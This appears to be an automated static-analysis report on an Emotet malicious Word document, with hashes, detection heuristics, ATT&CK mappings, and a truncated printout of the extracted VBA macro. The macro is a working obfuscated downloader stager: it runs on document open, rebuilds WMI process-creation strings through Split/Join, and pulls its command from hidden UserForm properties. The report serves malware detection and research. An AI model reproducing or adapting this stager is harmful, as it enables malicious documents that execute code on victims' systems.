Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 282408cbd6ac6941…

MALICIOUS

Office (OLE)

229.1 KB Created: 2020-08-11 12:40:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 71c0dfacab107dd56c80a33168569981 SHA-1: 48e978550868097d14b89f46f4ea9877617f1830 SHA-256: 282408cbd6ac6941be6c8a7e7fd3f8043865aa8102dc568cbfbe135f568a3db1
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager. This pattern is characteristic of Emotet, which uses these techniques to download and execute additional malicious payloads. The ClamAV detection ID further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9269958-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9269958-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4331 bytes
SHA-256: 79dd2a44dfaa317738a26e08608c0a61aa9d29b7d4c60a470abe218b649febc5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JPLJQrexrstyqg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
YXXCIcctldhlnkn.PDCHObemyvuc
End Sub


Attribute VB_Name = "YXXCIcctldhlnkn"
Attribute VB_Base = "0{8AD3394E-9192-4430-8EEB-7175B98319F9}{89EC748D-2E6F-45CF-9918-668F38EB520F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function PDCHObemyvuc()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
GCUMRskxatprutnbs = YXXCIcctldhlnkn.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
PNHZPlzvhjbq = ChrW(GCUMRskxatprutnbs + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
SGLCFiqhsvblq = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + PNHZPlzvhjbq + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + YXXCIcctldhlnkn.HXQEPxexerruycpnitq + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
DABCIefphgxsrinzh = WVIFEejofjubz(SGLCFiqhsvblq)
Dim JtF1ÔVIsgfW As Variant
Set KJOGPytudziblctg = CreateObject(DABCIefphgxsrinzh)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
NRLAAzqpbsyyqwse = YXXCIcctldhlnkn.IAHBAbqtwbqqa.ControlTipText
Dim aKHZFGTowB As Currency
XZIVVdtqzjxkkzowwz = m2m3b5 + (DABCIefphgxsrinzh + PNHZPlzvhjbq + YXXCIcctldhlnkn.AWLJSkslfzivmhu.ControlTipText + NRLAAzqpbsyyqwse)
Dim fIspInaCW As String
JQQJRwhlfasbckouwgy = XZIVVdtqzjxkkzowwz + YXXCIcctldhlnkn.HXQEPxexerruycpnitq
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set HEDGKgrkbbulwotbl = KZZNJpcnbfgtc(JQQJRwhlfasbckouwgy)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", KJOGPytudziblctg. _
Create(IKKKYmhgwxglgyczdpk, HFDAUommskmxojuu, HEDGKgrkbbulwotbl), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function IKKKYmhgwxglgyczdpk()
n21bh3 = YXXCIcctldhlnkn.IIQZJvipgmae.Pages(vbOK).Caption
IKKKYmhgwxglgyczdpk = WVIFEejofjubz(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function KZZNJpcnbfgtc(AMCFLcigibhnmknyn)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set KZZNJpcnbfgtc = CreateObject(AMCFLcigibhnmknyn)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
KZZNJpcnbfgtc. _
showwindow = EXQVVgasuwbvis + REOPXpgjxhelkqpzsh
Dim UMbU As Object
End Function
Function WVIFEejofjubz(PVQCIwtlijsmw)
FBNGJasegyycenyddtu = PVQCIwtlijsmw
Dim ZvdC As Currency
GMBUWerygwdsadspmy = Split _
(FBNGJasegyycenyddtu, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
TCWOAagmwesukyrr = mmm2 + Join(GMBUWerygwdsadspmy, msnj2)
Dim r4áAANisy As Integer
r4áAANisy = 4
Do W
... (truncated)

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